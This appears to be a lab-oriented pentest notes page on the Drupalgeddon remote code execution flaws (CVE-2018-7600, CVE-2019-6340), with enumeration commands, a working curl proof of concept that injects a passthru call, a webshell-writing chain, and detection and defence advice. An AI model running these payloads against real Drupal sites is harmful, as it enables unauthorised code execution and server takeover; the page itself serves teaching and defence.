the_open_door
coffee
ESEN
← Back to index

Drupalgeddon (Drupal RCE)

Drupalgeddon is the popular name for a family of remote code execution (RCE) vulnerabilities in the Drupal CMS. The two most exploited in lab boxes are Drupalgeddon2 (CVE-2018-7600) and the Services module flaw (CVE-2019-6340). Both turn an outdated Drupal into a shell with no credentials needed.

Identification

whatweb http://<ip>/                          # detects the CMS
droopescan scan drupal -u http://<ip>/        # version + modules
curl -s http://<ip>/CHANGELOG.txt | head       # confirms the exact version
searchsploit drupal 7                          # CVE by version

The exact version (visible in CHANGELOG.txt if accessible) decides which CVE applies.

Drupalgeddon2 (CVE-2018-7600)

A direct RCE in Drupal core (< 7.58, < 8.5.1 and the in-between branches). The flaw is incomplete sanitisation of Render Arrays, the data structures Drupal builds its responses from. The attacker injects special properties (#post_render, #lazy_builder, #pre_render) through form parameters processed via AJAX; when rendering them, Drupal invokes the system function chosen (passthru, exec) with the payload as argument. It is a push-button exploit:

# direct PoC (Drupal 7, user/password endpoint via AJAX)
curl -s 'http://<ip>/?q=user/password&name[%23post_render][]=passthru&name[%23type]=markup&name[%23markup]=id' \
  --data 'form_id=user_pass&_triggering_element_name=name' | tail
# or tools: drupwn / drupalgeddon2.rb
ruby drupalgeddon2.rb http://<ip>/

Services module (CVE-2019-6340)

Affects sites running the Services module with some unsanitised field. A two-phase chain: an insecure deserialization in the module's login function injects a PHP object leading to SQLi; with it the serialized endpoint-config cache is stolen, tampered with and re-injected (cache poisoning) so the callback becomes file_put_contents(), writing a webshell. The practical key is discovering the REST endpoint name: in Drupal all content lives under /node/<id>, and enumerating those nodes usually reveals the real path.

How to detect it. Drupalgeddon2's access-log signature is unmistakable: parameters with # (or its %23 encoding) like name[#post_render], #lazy_builder, #markup, which no legitimate form sends; a WAF with Drupalgeddon rules blocks them. On the host, the web process (apache2/php-fpm) spawning sh/bash/id as a child after a request to user/password or a REST endpoint is the confirmation (auditd/Sysmon for Linux). For CVE-2019-6340, a POST to a REST endpoint with Content-Type: application/hal+json and a suspicious nested object, followed by a new .php appearing in the webroot (FIM), closes the chain.

Defence. Keep Drupal and its modules updated (both flaws have been patched for years); disable and uninstall unused modules (like Services); restrict access to CHANGELOG.txt and other version files; apply a WAF as a temporary mitigation. On Windows/IIS deployments the web process often holds SeImpersonatePrivilege, so an RCE here chains into SeImpersonate abuse; on Linux, into the usual privesc enumeration.

Toolsdroopescan

Machines where it's used